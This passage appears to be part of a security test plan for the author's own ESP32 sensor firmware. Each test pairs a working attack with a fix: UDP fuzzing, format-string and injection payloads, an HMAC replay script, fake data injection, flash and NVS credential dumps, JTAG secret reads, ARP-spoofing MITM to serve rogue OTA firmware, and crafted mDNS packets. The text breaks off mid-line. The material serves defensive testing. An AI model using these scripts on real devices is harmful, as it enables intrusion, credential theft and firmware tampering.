b"HELP", b"RATE 50", + b"POWER 10", b"CSI ON", b"BLE ON", b"CALIBRATE 100", + b"CSIMODE RAW", b"HOSTNAME test", b"TARGET 1.1.1.1 5500", + b"HMAC:0000000000000000000000000000000:0:STATUS", +] + +def mutate(data: bytes) -> bytes: + """Simple mutation strategies.""" + strategy = random.randint(0, 7) + d = bytearray(data) + if strategy == 0 and len(d) > 0: + # Bit flip + idx = random.randint(0, len(d) - 1) + d[idx] ^= (1 << random.randint(0, 7)) + elif strategy == 1: + # Append random bytes + d.extend(random.randbytes(random.randint(1, 200))) + elif strategy == 2: + # Truncate + if len(d) > 1: + d = d[:random.randint(1, len(d) - 1)] + elif strategy == 3: + # Insert null bytes + idx = random.randint(0, len(d)) + d[idx:idx] = b'\x00' * random.randint(1, 10) + elif strategy == 4: + # Oversized packet (near MTU limit) + d = random.randbytes(random.randint(192, 1400)) + elif strategy == 5: + # Format string specifiers + d = b"STATUS %x%x%x%x%x%x%x%x%n%n" + elif strategy == 6: + # Very long single field + d = b"RATE " + b"9" * random.randint(50, 500) + elif strategy == 7: + # Repeated separator characters + d = b" ".join([b"CMD"] * random.randint(50, 200)) + return bytes(d) + +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sock.settimeout(0.2) + +alive_count = 0 +for i in range(ITERATIONS): + seed = random.choice(COMMANDS) + payload = mutate(seed) + try: + sock.sendto(payload, (TARGET, PORT)) + except OSError: + pass + + # Periodic liveness check + if i % 100 == 0: + try: + sock.sendto(b"PING", (TARGET, PORT)) + resp, _ = sock.recvfrom(1500) + if b"PONG" in resp: + alive_count += 1 + else: + print(f"[!] Iteration {i}: unexpected response: {resp[:60]}") + except socket.timeout: + print(f"[!] Iteration {i}: DEVICE NOT RESPONDING -- possible crash!") + time.sleep(5) # Wait for reboot + try: + sock.sendto(b"PING", (TARGET, PORT)) + sock.recvfrom(1500) + print(f"[+] Device recovered (rebooted)") + except socket.timeout: + print(f"[!!] Device still down after 5s") + break + + # Rate limit to avoid overwhelming (50ms between sends, matching firmware throttle) + time.sleep(0.055) + +print(f"Completed {ITERATIONS} iterations, {alive_count} liveness checks passed") +sock.close() +``` + +**What a finding looks like:** +- Device stops responding to PING after a specific mutation = crash +- Device reboots (boot count increments) = unhandled exception +- Log `[!!] Device still down after 5s` = hard fault + +--- + +## 3. Protocol Attacks + +### 3.1 HMAC Timing Analysis + +| Field | Value | +|-------|-------| +| **Tests** | Whether HMAC comparison leaks timing information | +| **Tools** | Python + high-resolution timing | +| **Finding** | Statistically significant timing difference between "first byte wrong" vs "last byte wrong" | +| **Fix** | Already implemented: constant-time comparison (line 1525 of `app_main.c`) | + +The firmware uses `volatile uint8_t diff` with XOR accumulation (line 1524-1528), which is +the correct pattern. This test validates that it actually works over the network. + +```python +#!/usr/bin/env python3 +"""hmac_timing.py -- Test for timing oracle in HMAC verification.""" + +import socket +import time +import statistics + +TARGET = "192.168.129.29" +PORT = 5501 +SAMPLES = 200 + +def measure_response(payload: bytes) -> float | None: + """Send payload, measure response time in microseconds.""" + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(1.0) + start = time.perf_counter_ns() + sock.sendto(payload, (TARGET, PORT)) + try: + sock.recvfrom(1500) + except socket.timeout: + sock.close() + return None + elapsed = (time.perf_counter_ns() - start) / 1000 # microseconds + sock.close() + return elapsed + +# Test 1: All zeros HMAC (fails on first byte) +all_zeros = b"HMAC:00000000000000000000000000000000:0:STATUS" + +# Test 2: HMAC with correct prefix but wrong suffix (if we knew partial secret) +# For blind testing, use different wrong values +half_right = b"HMAC:ffffffffffffffffffffffffffffffff:0:STATUS" + +# Test 3: Malformed (no HMAC at all, different code path) +no_hmac = b"STATUS" + +print("Collecting timing samples...") +timings = {"all_zeros": [], "all_ff": [], "no_hmac": []} + +for i in range(SAMPLES): + t = measure_response(all_zeros) + if t: + timings["all_zeros"].append(t) + time.sleep(0.06) + + t = measure_response(half_right) + if t: + timings["all_ff"].append(t) + time.sleep(0.06) + + t = measure_response(no_hmac) + if t: + timings["no_hmac"].append(t) + time.sleep(0.06) + +for name, samples in timings.items(): + if samples: + print(f"{name:12s}: n={len(samples):4d} " + f"mean={statistics.mean(samples):8.0f}us " + f"median={statistics.median(samples):8.0f}us " + f"stdev={statistics.stdev(samples):7.0f}us") + +# Statistical test: if mean differs by >50us between zero/ff, possible timing leak +if timings["all_zeros"] and timings["all_ff"]: + diff = abs(statistics.mean(timings["all_zeros"]) - statistics.mean(timings["all_ff"])) + print(f"\nTiming difference (zeros vs ff): {diff:.0f}us") + if diff > 50: + print("[!] POSSIBLE TIMING ORACLE -- difference exceeds 50us") + else: + print("[+] Constant-time comparison appears effective") +``` + +**What a finding looks like:** +A statistically significant difference (>50us) between different wrong HMACs +would indicate the comparison is not constant-time. Network jitter on a LAN is +typically 100-500us, so this test requires many samples and careful interpretation. + +--- + +### 3.2 Replay Attack (Nonce Cache Overflow) + +| Field | Value | +|-------|-------| +| **Tests** | Whether the 8-entry nonce dedup cache can be overflowed to replay commands | +| **Tools** | Python + `hmac` | +| **Finding** | After 8 unique authenticated commands, the first one's nonce is evicted and can be replayed | +| **Fix** | Increase cache size; use monotonic sequence counter instead of timestamp | + +The nonce cache is only 8 entries (line 1450: `AUTH_NONCE_CACHE_SIZE 8`). +The timestamp window is +/-5 seconds. Attack: send 8 unique commands rapidly to +fill the cache, then replay the first one. + +```python +#!/usr/bin/env python3 +"""replay_attack.py -- Test nonce cache overflow for HMAC replay.""" + +import hashlib +import hmac +import socket +import time + +TARGET = "192.168.129.29" +PORT = 5501 +SECRET = "YOUR_SECRET_HERE" # from NVS or serial capture + +def sign(cmd: str, ts: int) -> bytes: + payload = f"{ts}:{cmd}" + digest = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest() + return f"HMAC:{digest[:32]}:{payload}".encode() + +def send_cmd(sock, payload: bytes) -> str: + sock.sendto(payload, (TARGET, PORT)) + try: + resp, _ = sock.recvfrom(1500) + return resp.decode(errors="replace") + except socket.timeout: + return "" + +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sock.settimeout(1.0) + +# Step 1: Get device uptime from STATUS +sock.sendto(b"STATUS", (TARGET, PORT)) +resp = sock.recvfrom(1500)[0].decode() +# Parse uptime from STATUS response (format: "uptime=1234s") +uptime = 0 +for field in resp.split(): + if field.startswith("uptime="): + uptime = int(field.split("=")[1].rstrip("s")) + +print(f"Device uptime: {uptime}s") + +# Step 2: Sign a target command at current timestamp +target_ts = uptime +target_cmd = sign("STATUS", target_ts) +print(f"\n[1] Initial send of target command:") +print(f" Response: {send_cmd(sock, target_cmd)[:60]}") +time.sleep(0.06) + +# Step 3: Replay immediately -- should be rejected +print(f"\n[2] Immediate replay (should be rejected):") +print(f" Response: {send_cmd(sock, target_cmd)[:60]}") +time.sleep(0.06) + +# Step 4: Flood cache with 8 different commands to evict the target nonce +print(f"\n[3] Flooding nonce cache with 8 unique commands...") +for i in range(8): + # Use different commands with same timestamp (within window) + filler = sign(f"PING", target_ts + i % 5) # vary slightly + resp = send_cmd(sock, filler) + time.sleep(0.06) + +# Step 5: Replay the original command -- should now succeed (cache evicted) +print(f"\n[4] Replaying original command after cache overflow:") +resp = send_cmd(sock, target_cmd) +print(f" Response: {resp[:60]}") + +if "ERR AUTH replay" in resp: + print("\n[+] Replay correctly rejected -- cache survived overflow") +elif "ERR AUTH expired" in resp: + print("\n[~] Timestamp expired -- test took too long, retry faster") +else: + print("\n[!] REPLAY SUCCEEDED -- nonce cache overflow confirmed!") + +sock.close() +``` + +**What a finding looks like:** +Step 4 returns a valid response instead of `ERR AUTH replay rejected` = the +8-entry nonce cache was overflowed and the original HMAC was replayed. + +--- + +### 3.3 Unauthenticated Command Abuse + +| Field | Value | +|-------|-------| +| **Tests** | Which state-modifying commands work without HMAC authentication | +| **Tools** | `ncat`, simple shell loop | +| **Finding** | CSI OFF, PRESENCE OFF, LOG NONE, CALIBRATE CLEAR, etc. all work without auth | +| **Fix** | Require auth for all state-modifying commands (see VULN-007 in SECURITY-AUDIT.md) | + +```bash +# Test every command that modifies state without auth +SENSOR="192.168.129.29" + +# Commands that SHOULD require auth but currently don't: +for cmd in \ + "CSI OFF" \ + "PRESENCE OFF" \ + "LOG NONE" \ + "CALIBRATE CLEAR" \ + "FLOODTHRESH 100 300" \ + "ALERT OFF" \ + "RATE 10" \ + "POWER 2" \ + "BLE OFF" \ + "ADAPTIVE OFF" \ + "LED AUTO" \ + "CSIMODE COMPACT" \ + "CHANSCAN ON 60" \ + "POWERSAVE ON" +do + resp=$(echo "$cmd" | ncat -u -w1 "$SENSOR" 5501) + if echo "$resp" | grep -q "^OK\|^ERR AUTH"; then + prefix=$(echo "$resp" | grep -q "^OK" && echo "VULN" || echo "SAFE") + printf "%-25s %s %s\n" "$cmd" "$prefix" "$resp" + fi +done +``` + +**What a finding looks like:** +``` +CSI OFF VULN OK CSI collection disabled +PRESENCE OFF VULN OK presence detection disabled +LOG NONE VULN OK log level=NONE +CALIBRATE CLEAR VULN OK baseline cleared +FLOODTHRESH 100 300 VULN OK flood_thresh=100 window=300s +``` +An attacker can blind all sensors, suppress logging, disable intrusion detection, +all without any credentials. + +--- + +### 3.4 Command Injection via String Fields + +| Field | Value | +|-------|-------| +| **Tests** | Whether attacker-controlled strings (HOSTNAME, TARGET) can inject into log output, NVS, or data streams | +| **Tools** | `ncat` | +| **Finding** | Hostname with newlines/special chars could poison downstream log parsers or CSV data | +| **Fix** | Sanitize hostname to `[a-z0-9-]` only; already partially done but verify | + +```bash +SENSOR="192.168.129.29" + +# Test format string injection in hostname +echo "HOSTNAME %x%x%x%x" | ncat -u -w1 "$SENSOR" 5501 + +# Test newline injection (could split CSV/log lines) +printf "HOSTNAME test\nINJECT" | ncat -u -w1 "$SENSOR" 5501 + +# Test null byte injection +printf "HOSTNAME test\x00hidden" | ncat -u -w1 "$SENSOR" 5501 + +# Test oversized hostname (buffer is char[32]) +echo "HOSTNAME $(python3 -c 'print("A"*100)')" | ncat -u -w1 "$SENSOR" 5501 + +# Test TARGET with format strings +echo "TARGET %s%s%s%s 5500" | ncat -u -w1 "$SENSOR" 5501 +``` + +**What a finding looks like:** +- Response contains hex values from stack = format string vulnerability +- Subsequent STATUS shows corrupted hostname = buffer overflow +- CSV data stream contains injected lines = log injection + +--- + +### 3.5 UDP Data Stream Interception and Injection + +| Field | Value | +|-------|-------| +| **Tests** | Whether an attacker can inject fake CSI/BLE/PROBE data into the collector | +| **Tools** | Python `socket` | +| **Finding** | No authentication on the data channel (port 5500); any host can inject fake sensor data | +| **Fix** | Add HMAC signing to data packets; or validate source IP at collector | + +```python +#!/usr/bin/env python3 +"""inject_data.py -- Inject fake sensor data into the collection server.""" + +import socket + +COLLECTOR = "192.168.129.1" # Flask API host +PORT = 5500 + +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + +# Inject fake CSI data pretending to be muddy-storm +fake_csi = ( + "CSI_DATA,muddy-storm,999999,AA:BB:CC:DD:EE:FF,-50,11,1,0,0,0,0,0,0," + "0,0,-95,0,6,0,1234567,0,128,0,64,0,\"[0,0,0,0]\"\n" +) +sock.sendto(fake_csi.encode(), (COLLECTOR, PORT)) + +# Inject fake BLE data (phantom device) +fake_ble = "BLE_DATA,muddy-storm,DE:AD:BE:EF:00:01,-60,ADV_IND,FakeDevice,0x004C,8,6\n" +sock.sendto(fake_ble.encode(), (COLLECTOR, PORT)) + +# Inject fake probe request (phantom device tracking) +fake_probe = "PROBE_DATA,muddy-storm,DE:AD:BE:EF:00:02,-55,TargetSSID,6\n" +sock.sendto(fake_probe.encode(), (COLLECTOR, PORT)) + +# Inject fake alert (false alarm) +fake_alert = "ALERT_DATA,muddy-storm,DEAUTH,DE:AD:BE:EF:00:03,FF:FF:FF:FF:FF:FF,-40\n" +sock.sendto(fake_alert.encode(), (COLLECTOR, PORT)) + +print("Fake data injected -- check Flask API for phantom entries") +sock.close() +``` + +--- + +## 4. Firmware Binary Analysis + +### 4.1 String Extraction + +| Field | Value | +|-------|-------| +| **Tests** | Hardcoded secrets, URLs, IPs, debug messages, format strings | +| **Tools** | `strings`, `grep` | +| **Finding** | WiFi SSID/password, auth hints, API endpoints, build paths in binary | +| **Fix** | Enable flash encryption; strip debug strings in production | + +```bash +FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin" + +# Extract all printable strings (min length 6) +strings -n 6 "$FIRMWARE" > /tmp/fw-strings.txt +wc -l /tmp/fw-strings.txt + +# Search for credentials and sensitive patterns +grep -iE 'password|passwd|secret|key|token|api_key|ssid' /tmp/fw-strings.txt +grep -iE 'http://|https://|ftp://' /tmp/fw-strings.txt +grep -iE '192\.168\.|10\.|172\.' /tmp/fw-strings.txt +grep -iE 'admin|root|default|test|debug' /tmp/fw-strings.txt + +# Search for format strings (potential vulnerability indicators) +grep -E '%[0-9]*[sxdnp]' /tmp/fw-strings.txt + +# Search for NVS key names (reveals all configuration knobs) +grep -E '^[a-z_]{3,15}$' /tmp/fw-strings.txt | sort -u + +# Search for ESP-IDF version and build info +grep -iE 'idf|esp-idf|v[0-9]+\.[0-9]+' /tmp/fw-strings.txt + +# Search for certificate/TLS related strings +grep -iE 'cert|tls|ssl|ca_cert|pem|x509' /tmp/fw-strings.txt +``` + +**What a finding looks like:** +``` +csi_config <- NVS namespace +auth_secret <- Key name for HMAC secret +WIFI_SSID_HERE <- Hardcoded SSID +http:// <- HTTP (not HTTPS) OTA allowed +``` + +--- + +### 4.2 Binary Structure Analysis + +| Field | Value | +|-------|-------| +| **Tests** | Firmware format, partition layout, bootloader version | +| **Tools** | `esptool.py`, `binwalk`, `file` | +| **Finding** | Partition offsets, firmware not signed, flash encryption absent | +| **Fix** | Enable secure boot v2; enable flash encryption | + +```bash +FIRMWARE="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin" + +# Image header info +esptool.py image_info "$FIRMWARE" + +# Entropy analysis (encrypted firmware has high, uniform entropy) +binwalk -E "$FIRMWARE" +# If entropy is NOT uniformly high, flash encryption is not in use + +# Search for embedded files/structures +binwalk "$FIRMWARE" + +# Check for ELF sections (if .elf is available) +ELF="/home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf" +if [ -f "$ELF" ]; then + # List all symbols (reveals function names and global variables) + objdump -t "$ELF" | grep -E 's_auth|s_target|s_hostname|cmd_handle|auth_verify' + + # Disassemble specific function + objdump -d "$ELF" | grep -A 50 '' + + # Check for debug info + file "$ELF" + # "not stripped" = full debug symbols present +fi +``` + +--- + +### 4.3 NVS Partition Analysis (from flash dump) + +| Field | Value | +|-------|-------| +| **Tests** | Extract credentials, auth secret, WiFi PSK from NVS | +| **Tools** | `esptool.py`, ESP-IDF `nvs_tool.py` | +| **Finding** | Auth secret, WiFi credentials, hostname in plaintext NVS | +| **Fix** | Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) + flash encryption | + +```bash +# Step 1: Dump NVS partition from device (requires USB connection) +esptool.py -p /dev/ttyUSB0 -b 921600 \ + read_flash 0x9000 0x4000 /tmp/nvs_dump.bin + +# Step 2: Parse NVS contents using ESP-IDF tool +NVS_TOOL="$HOME/esp/esp-idf/components/nvs_flash/nvs_partition_tool/nvs_tool.py" +python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin + +# Step 3: Look for specific keys +python3 "$NVS_TOOL" --dump /tmp/nvs_dump.bin 2>/dev/null | \ + grep -E 'auth_secret|wifi\.sta\.(ssid|password)|hostname|target_ip' + +# Alternative: hex dump and manual inspection +xxd /tmp/nvs_dump.bin | grep -i -A2 'auth' +``` + +**What a finding looks like:** +``` +Namespace: csi_config + auth_secret (STR) = a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 + hostname (STR) = muddy-storm + +Namespace: nvs.net80211 + sta.ssid (BLOB) = MyHomeWiFi + sta.pswd (BLOB) = MyWiFiPassword123 +``` +Both the HMAC secret and WiFi credentials extracted in plaintext. + +--- + +## 5. Hardware Attacks + +### 5.1 UART Console Capture + +| Field | Value | +|-------|-------| +| **Tests** | Information leakage via serial; auth secret exposure on boot | +| **Tools** | `screen`, `minicom`, `picocom`, USB-to-serial adapter | +| **Finding** | Full boot log with auth secret prefix, all ESP_LOG output | +| **Fix** | `CONFIG_ESP_CONSOLE_NONE=y` or `CONFIG_LOG_DEFAULT_LEVEL_WARN=y` for production | + +```bash +# Connect to UART (ESP32-DevKitC has built-in USB-to-serial) +picocom -b 921600 /dev/ttyUSB0 + +# Or with screen +screen /dev/ttyUSB0 921600 + +# Capture boot log to file (includes auth secret on first boot/factory reset) +picocom -b 921600 --logfile /tmp/uart-capture.log /dev/ttyUSB0 + +# Then trigger a factory reset remotely (if you have auth): +# echo "HMAC::FACTORY" | ncat -u -w1 192.168.129.29 5501 +# The new auth secret will appear in the UART log +``` + +**What a finding looks like:** +``` +W (1234) csi_recv_router: AUTH: secret generated (a1b2... -- retrieve via serial or NVS) +``` +On firmware versions before the partial-redaction fix, the full 32-char secret was logged. +Current version logs only first 4 chars, but the prefix still aids brute-force. + +--- + +### 5.2 Full Flash Dump and Analysis + +| Field | Value | +|-------|-------| +| **Tests** | Complete firmware extraction; credential theft; code modification | +| **Tools** | `esptool.py` | +| **Finding** | Entire flash readable (no flash encryption); firmware modifiable (no secure boot) | +| **Fix** | Enable secure boot v2 + flash encryption (one-way eFuse burn for production) | + +```bash +# Dump entire 4MB flash +esptool.py -p /dev/ttyUSB0 -b 921600 \ + read_flash 0 0x400000 /tmp/full_flash_dump.bin + +# Extract individual partitions based on partition table: +# NVS: 0x9000 - 0xCFFF (16 KB) +# otadata: 0xD000 - 0xEFFF (8 KB) +# phy_init: 0xF000 - 0xFFFF (4 KB) +# ota_0: 0x10000 - 0x1EFFFF (1920 KB) +# ota_1: 0x1F0000- 0x3CFFFF (1920 KB) + +dd if=/tmp/full_flash_dump.bin of=/tmp/nvs.bin bs=1 skip=$((0x9000)) count=$((0x4000)) +dd if=/tmp/full_flash_dump.bin of=/tmp/ota0.bin bs=1 skip=$((0x10000)) count=$((0x1E0000)) +dd if=/tmp/full_flash_dump.bin of=/tmp/ota1.bin bs=1 skip=$((0x1F0000)) count=$((0x1E0000)) + +# Check if flash encryption is active (encrypted flash has high entropy) +binwalk -E /tmp/ota0.bin +# Flat entropy ~0.5-0.7 = NOT encrypted +# Flat entropy ~1.0 = encrypted + +# Write modified firmware back (no secure boot = no signature check) +# WARNING: This bricks the device if you write garbage +# esptool.py -p /dev/ttyUSB0 write_flash 0x10000 /tmp/modified_ota0.bin +``` + +--- + +### 5.3 JTAG Debug Access + +| Field | Value | +|-------|-------| +| **Tests** | Whether JTAG is accessible; live memory inspection; breakpoints | +| **Tools** | OpenOCD + GDB, JTAG adapter (FT2232H or ESP-PROG, ~$15) | +| **Finding** | JTAG not disabled via eFuse; live debugging possible; memory readable at runtime | +| **Fix** | Burn JTAG disable eFuse: `espefuse.py burn_efuse JTAG_DISABLE` (irreversible) | + +ESP32-WROOM-32 JTAG pins (directly on the ESP32 chip, not broken out on most DevKitC boards): + +| JTAG Signal | GPIO | +|-------------|------| +| TDI | GPIO 12 | +| TCK | GPIO 13 | +| TMS | GPIO 14 | +| TDO | GPIO 15 | + +```bash +# Install OpenOCD for ESP32 +sudo apt install -y openocd + +# If using an FT2232H adapter: +# Connect JTAG pins to the adapter, then: +openocd -f interface/ftdi/esp32_devkitj_v1.cfg -f target/esp32.cfg + +# In another terminal, connect GDB: +# (requires xtensa-esp32-elf-gdb from ESP-IDF toolchain) +xtensa-esp32-elf-gdb /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.elf +# (gdb) target remote :3333 +# (gdb) monitor reset halt +# (gdb) print s_auth_secret # Read HMAC secret from live memory +# (gdb) print s_target_ip # Read target IP +# (gdb) x/32bx &s_auth_secret # Hex dump of secret in memory +``` + +Note: Most ESP32-DevKitC boards do NOT break out JTAG pins, so this requires +soldering wires to GPIO 12-15. On DevKitC V4 or ESP-PROG, JTAG is on a header. + +--- + +### 5.4 eFuse Analysis + +| Field | Value | +|-------|-------| +| **Tests** | Secure boot status, flash encryption status, JTAG disable status | +| **Tools** | `espefuse.py` (part of esptool) | +| **Finding** | All security eFuses unburned = no hardware protections | +| **Fix** | Burn appropriate eFuses for production (irreversible!) | + +```bash +# Read all eFuse values (non-destructive, read-only) +espefuse.py -p /dev/ttyUSB0 summary + +# Check specific security-relevant eFuses: +espefuse.py -p /dev/ttyUSB0 get_custom_mac # Check if custom MAC set +espefuse.py -p /dev/ttyUSB0 summary 2>&1 | grep -iE 'JTAG|SECURE_BOOT|FLASH_ENCRYPT|ABS_DONE' +``` + +**What a finding looks like:** +``` +JTAG_DISABLE (EFUSE_BLK0) = False <- JTAG accessible +ABS_DONE_0 (EFUSE_BLK0) = False <- Secure boot NOT enabled +FLASH_CRYPT_CNT (EFUSE_BLK0) = 0 <- Flash encryption NOT enabled +``` + +--- + +## 6. OTA Attack Surface + +### 6.1 MITM OTA with Rogue HTTP Server + +| Field | Value | +|-------|-------| +| **Tests** | Whether a MITM attacker can serve malicious firmware during OTA | +| **Tools** | Python HTTP server, ARP spoofing (`arpspoof`/`ettercap`), `mitmproxy` | +| **Finding** | OTA accepts any HTTP server; no TLS cert validation; no firmware signatures | +| **Fix** | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`; add cert pinning; enable secure boot | + +```bash +# Step 1: Build a "canary" firmware that proves code execution +# (Modify a non-critical string in the firmware, rebuild, and use as the payload) +# Or use a known-good older version to test version rollback + +# Step 2: Serve it via HTTP +cd /home/user/git/esp32-hacking/get-started/csi_recv_router/build/ +python3 -m http.server 8899 + +# Step 3: Trigger OTA (requires auth if enabled) +# If auth is enabled, compute HMAC first using esp-ctl's auth module: +python3 -c " +from esp_ctl.auth import sign_command +import sys +cmd = 'OTA http://192.168.129.1:8899/csi_recv_router.bin' +# You need the device uptime -- get it from STATUS first +print(sign_command(cmd, uptime_s=1234, secret='YOUR_SECRET')) +" | ncat -u -w5 192.168.129.29 5501 + +# Step 4: If auth is disabled, no HMAC needed: +echo "OTA http://192.168.129.1:8899/csi_recv_router.bin" | \ + ncat -u -w5 192.168.129.29 5501 +``` + +### 6.2 ARP-Based MITM for OTA Hijacking + +```bash +# Requires: dsniff package (contains arpspoof) +sudo apt install -y dsniff + +# Step 1: Enable IP forwarding +sudo sysctl -w net.ipv4.ip_forward=1 + +# Step 2: ARP poison -- pretend to be the gateway for the ESP32 +# Gateway: 192.168.129.1, Target: 192.168.129.29 +sudo arpspoof -i eth0 -t 192.168.129.29 192.168.129.1 & +sudo arpspoof -i eth0 -t 192.168.129.1 192.168.129.29 & + +# Step 3: Use iptables to redirect HTTP traffic to local server +sudo iptables -t nat -A PREROUTING -p tcp --dport 80 \ + -j REDIRECT --to-port 8899 + +# Step 4: Serve malicious firmware on port 8899 +cd /tmp && python3 -m http.server 8899 + +# Step 5: When OTA is triggered (by legitimate admin or attacker), +# the ESP32's HTTP request is redirected to the rogue server. +# Since CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y, the firmware accepts it. + +# Cleanup: +sudo killall arpspoof +sudo iptables -t nat -F +sudo sysctl -w net.ipv4.ip_forward=0 +``` + +--- + +### 6.3 Firmware Rollback Attack + +| Field | Value | +|-------|-------| +| **Tests** | Whether older, vulnerable firmware versions can be flashed via OTA | +| **Tools** | `esptool.py`, HTTP server | +| **Finding** | No anti-rollback enforcement; any valid ESP32 image is accepted | +| **Fix** | `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y` with eFuse version counter | + +```bash +# Serve an older firmware version (e.g., v1.9 without auth hardening) +# Assuming you have the older binary saved: +python3 -m http.server 8899 --directory /path/to/old/builds/ + +# Trigger OTA with old binary +echo "OTA http://192.168.129.1:8899/old-v1.9-firmware.bin" | \ + ncat -u -w5 192.168.129.29 5501 + +# After reboot, the device runs the old, less-secure firmware. +# Verify: +echo "STATUS" | ncat -u -w1 192.168.129.29 5501 +# Check the version= field in the response +``` + +**What a finding looks like:** +STATUS response shows older firmware version running = rollback succeeded. + +--- + +## 7. Side-Channel Attacks + +### 7.1 Timing Oracle on Authentication + +Already covered in section 3.1. The firmware implements constant-time comparison +(volatile XOR accumulation), so this is a validation test rather than an expected finding. + +### 7.2 Timing Oracle on Command Routing + +| Field | Value | +|-------|-------| +| **Tests** | Whether response timing varies based on command validity (information leak) | +| **Tools** | Python timing script | +| **Finding** | Different commands take measurably different time = reveals which commands exist | +| **Fix** | Normalize response time with a minimum delay | + +```python +#!/usr/bin/env python3 +"""cmd_timing.py -- Measure response times for various commands.""" + +import socket +import time +import statistics + +TARGET = "192.168.129.29" +PORT = 5501 + +COMMANDS = [ + b"STATUS", # Valid, complex response + b"PING", # Valid, simple response + b"NONEXISTENT", # Invalid command + b"", # Empty + b"A" * 191, # Max-length garbage + b"OTA", # Valid but missing arg (should fail) + b"REBOOT", # Valid but requires auth +] + +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +sock.settimeout(2.0) + +for cmd in COMMANDS: + times = [] + for _ in range(50): + start = time.perf_counter_ns() + sock.sendto(cmd, (TARGET, PORT)) + try: + sock.recvfrom(1500) + except socket.timeout: + continue + elapsed = (time.perf_counter_ns() - start) / 1000 + times.append(elapsed) + time.sleep(0.06) + + if times: + label = cmd[:30].decode(errors="replace") + print(f"{label:32s} n={len(times):3d} " + f"mean={statistics.mean(times):8.0f}us " + f"stdev={statistics.stdev(times):7.0f}us") + +sock.close() +``` + +--- + +### 7.3 Uptime-Based Timestamp Prediction + +| Field | Value | +|-------|-------| +| **Tests** | Whether device uptime is predictable enough to pre-compute valid HMAC timestamps | +| **Tools** | `ncat`, timing measurement | +| **Finding** | Uptime is in STATUS response (no auth needed); attacker can sync timestamp trivially | +| **Fix** | Require auth for STATUS (or at least the uptime field) | + +```bash +# Get precise uptime from unauthenticated STATUS +echo "STATUS" | ncat -u -w1 192.168.129.29 5501 + +# The response includes "uptime=12345s" +# Attacker now knows exact device uptime, can pre-compute HMAC timestamps. +# Combined with a captured or brute-forced secret, this enables authenticated attacks. +``` + +--- + +## 8. Dependency and CVE Analysis + +### 8.1 ESP-IDF Version CVE Check + +| Field | Value | +|-------|-------| +| **Tests** | Known vulnerabilities in ESP-IDF v5.5.2 and bundled components | +| **Tools** | Espressif security advisories, CVE databases | +| **Finding** | Specific ESP-IDF CVEs that affect this version | +| **Fix** | Update ESP-IDF; apply patches; enable mitigations | + +```bash +# Check ESP-IDF version from firmware +strings /home/user/git/esp32-hacking/get-started/csi_recv_router/build/csi_recv_router.bin \ + | grep -i 'v5\.' | head -5 + +# Check Espressif security advisories +# https://www.espressif.com/en/security/advisories + +# Key CVEs to check for ESP-IDF <= 5.5.x: +# CVE-2024-45479: ESP-IDF BLE stack buffer overflow (NimBLE) +# CVE-2023-28631: WiFi PMF bypass +# CVE-2023-35831: Secure boot bypass on ESP32 V1 +# CVE-2024-23723: mDNS parsing vulnerabilities + +# Check component versions from build +cat /home/user/git/esp32-hacking/get-started/csi_recv_router/build/project_description.json \ + 2>/dev/null | python3 -m json.tool | grep -i version + +# Check managed component versions +cat /home/user/git/esp32-hacking/get-started/csi_recv_router/dependencies.lock \ + 2>/dev/null +``` + +### 8.2 mDNS Component Vulnerabilities + +| Field | Value | +|-------|-------| +| **Tests** | mDNS parsing bugs, DNS rebinding, response injection | +| **Tools** | Crafted mDNS packets via `scapy` | +| **Finding** | mDNS library may be vulnerable to crafted responses | +| **Fix** | Update espressif/mdns component; restrict mDNS to query-only if advertisement not needed | + +```python +#!/usr/bin/env python3 +"""mdns_probe.py -- Send crafted mDNS queries/responses to test parser robustness.""" + +from scapy.all import * + +TARGET = "192.168.129.29" + +# Craft an oversized mDNS response with many answers +dns_response = DNS( + id=0x0000, + qr=1, + opcode=0, + aa=1, + rd=0, + qd=None, + an=DNSRR(rrname="_esp-csi._udp.local.", type="PTR", ttl=4500, + rdata="evil-sensor._esp-csi._udp.local.") / + DNSRR(rrname="evil-sensor._esp-csi._udp.local.", type="SRV", ttl=4500, + rdata=b'\x00\x00\x00\x00\x15\xb3' + b'\x07' + b'A' * 200 + b'\x05local\x00') / + DNSRR(rrname="A" * 255 + ".local.", type="A", ttl=4500, rdata="1.2.3.4"), +) + +# Send as multicast mDNS (224.0.0.251:5353) +pkt = IP(dst="224.0.0.251") / UDP(sport=5353, dport=5353) / dns_response +send(pkt, verbose=True) +print("Sent crafted mDNS response -- check if device is still responsive") + +# Verify device health +import socket, time +time.sleep(1) +s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +s.settimeout(2) +s.sendto(b"PING", (TARGET, 5501)) +try: + resp = s.recvfrom(1500) + print(f"Device alive: {resp[0]}") +except: + print("[!] Device not responding after mDNS injection!") +s.close() +``` + +--- + +### 8.3 NimBLE Stack Analysis + +| Field | Value | +|-------|-------| +| **Tests** | BLE stack vulnerabilities; advertisement parsing bugs | +| **Tools** | `bleak` (Python BLE library), second ESP32 as BLE beacon | +| **Finding** | Crafted BLE advertisements could trigger parsing bugs in NimBLE | +| **Fix** | Update ESP-IDF; validate all BLE advertisement fields before parsing | + +```python +#!/usr/bin/env python3 +"""ble_scan_target.py -- Check what the ESP32's BLE scan exposes.""" + +import asyncio +from bleak import BleakScanner + +async def scan(): + """Scan for ESP32 devices' BLE presence.""" + devices = await BleakScanner.discover(timeout=10.0) + for d in devices: + # ESP32 in scan-only mode shouldn't be advertising + # If it IS advertising, that's a finding + print(f" {d.address} RSSI={d.rssi} Name={d.name}") + if d.name and "esp" in d.name.lower(): + print(f" [!] ESP32 device advertising: 